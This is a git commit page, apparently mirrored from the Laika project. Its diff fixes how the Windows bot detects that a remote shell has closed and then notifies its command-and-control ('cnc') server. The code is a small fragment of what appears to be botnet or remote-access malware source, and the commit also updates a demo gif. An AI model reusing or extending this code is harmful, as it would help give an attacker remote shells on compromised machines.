1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-24 21:41:04 +00:00

Fixed Windows Shell detection for shell closing

- updated demo.gif
This commit is contained in:
CPunch 2022-03-18 17:46:28 -05:00
parent 14d17adf89
commit 26a1977609
3 changed files with 17 additions and 16 deletions

View File

@ -161,8 +161,9 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
laikaS_write(sock, readBuf, rd); laikaS_write(sock, readBuf, rd);
laikaS_endVarPacket(peer); laikaS_endVarPacket(peer);
} else { } else {
if (GetLastError() == ERROR_NO_DATA) if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
return true; /* recoverable, there was no data to read */ return true; /* recoverable, process is still alive */
/* unrecoverable error */
/* tell cnc shell is closed */ /* tell cnc shell is closed */
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE); laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);

Binary file not shown.

Before

Width:  |  Height:  |  Size: 516 KiB

After

Width:  |  Height:  |  Size: 445 KiB